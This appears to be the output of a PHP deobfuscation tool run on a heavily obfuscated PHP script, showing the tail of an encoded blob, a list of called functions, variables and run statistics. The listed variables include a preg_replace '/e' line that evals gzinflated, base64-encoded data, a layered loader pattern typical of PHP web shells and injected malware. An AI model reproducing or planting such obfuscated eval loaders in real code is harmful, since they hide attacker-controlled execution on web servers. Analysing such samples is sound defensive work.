XWckxlGc4nPaar/JC1gDv9f7uFfhIXsIVlXuiGGqcE/o7e2KSeD2oqsBdxeMDf5bxJBgHNmSXO9ZP0dO2LiU/Whhnr99reIbsBTnlR7GfYB1ro3iOOpQnN0T/yUujftpe9lAzhnauXBwyKdQqzNvSXfUvTv6M2t1Kg5Ie8J9FV51vneF8xzO9Sq2SVx1C9dmmHMwsffyQcRs3HO0W+jRst7xrXz7rg1NP5R5ZrIT5n+QS9z4iPDarWtIHH3WeQKTkR/OPZDv89yOFaUVJpuEbgO9C/T8k8f3YGzWUbZ2yceS54KDYv21S+0P9t/6i8R8ih1te+Ccyqd2xQPUncmZw60ifw1fxrN2FG/iwx1fcmeeUbqC8gP0daKDQ35611wlp+X5KJeyf7ZX8hOTc9ujYm2dEX4XbVK43gz0c88R8bNieevx4DOOsmXwbZxPEN72gDkwAXdjO4v7LCe0p5kxxHwK6jjUF3ct+NzXS5QukGJ3191l98AvUzaAXAaa32iLUJtjSKL7m49wbhaeDf1qfkb5Vtcpj7BOlgeV4g/B9+BX5caJ8xLrjM0faH+b3tW1+ndYT4+ZHblfxFytngH+Edwk23KwgnwROjGulQtn0DOPng3antbJ4+/5Pj038aznXPH3skHY+SGM4770Mzxkvgmfwd9236nwKZwc7kjbfs9zWoR1pnAmNVbidXSNzU16xy/tRseZs+5I5lMVczk/sf2defhg5rnZaeXYqGUmdlEM4Z7we7gvDJ0p6/kJU7mXTjaD3Ad6XZ5rp+fE7vksyrYTp5Ozcr8/GEE2zL0pwgsMLkzMswrbWCfjtfkycOe18KE17JXnwPdY2/Wls/iMXzoxU7GcZ1Ztfhvd+qY1JocJXoSrRLziP+t17+DDwvNg/am5MM/DegoragaK8lge1slz9MKPvkOv6hOiv2Fhp3UvyZ+4L7yFZxl5sO+7zkTaNs7PEtbQfxObwHfo3KFneLaLh4gT2yunSJ8QMS1xnnOSYNp7VI1PeIznzvOifAt69vS+U2sgh5L5lM8zg2lP2bD/r/+v7zs//zz0788/n/N8/5d/e/3ft//jf/3Xf/5cXv/t3//xX//xr/+89Nd653/99//498eZ/5WTIv+3f/t/AA=='\x29\x29\x29\x3B","");
?>

Function Calls

pack 1
ini_set 2
gzinflate 13
ddpzud84223 1
dukrtv84222 1
dwxfsx84221 1
preg_replace 10
base64_decode 13
error_reporting 1

Variables

$a base64_decode
$b gzinflate
$xc pa
$xd ck
$xf preg_replace
$xr pack
$str 5b1rVxu5Eij6OXut+Q9Kj/e0PTHGNkl2AthACCRkEsjwyJMcT9tu2z203Z7u..
$x08ejp preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x..
$x4wutn RJ+ApfDvwa1ftL491bmZx/7FF9TSJ8CYeMB7bIbtyy06GV+icEilGWSCdq7G..
$x84e7f TGts4rsyGiZlOiertTIsYyq3wIz5Zvf1kIMSushQER5ACrNyhRgA1yvCGWr1..
$xqwpc2 axI0BepYNoe4YeFWpKaSHopGyoLPZJRS/zQUtLVHk37ChHk+k3I23KLgVX8z..

Stats

MD5 7bebe5ef9bcdb9125177a3b1a62f9934
Eval Count 24
Decode Time 322 ms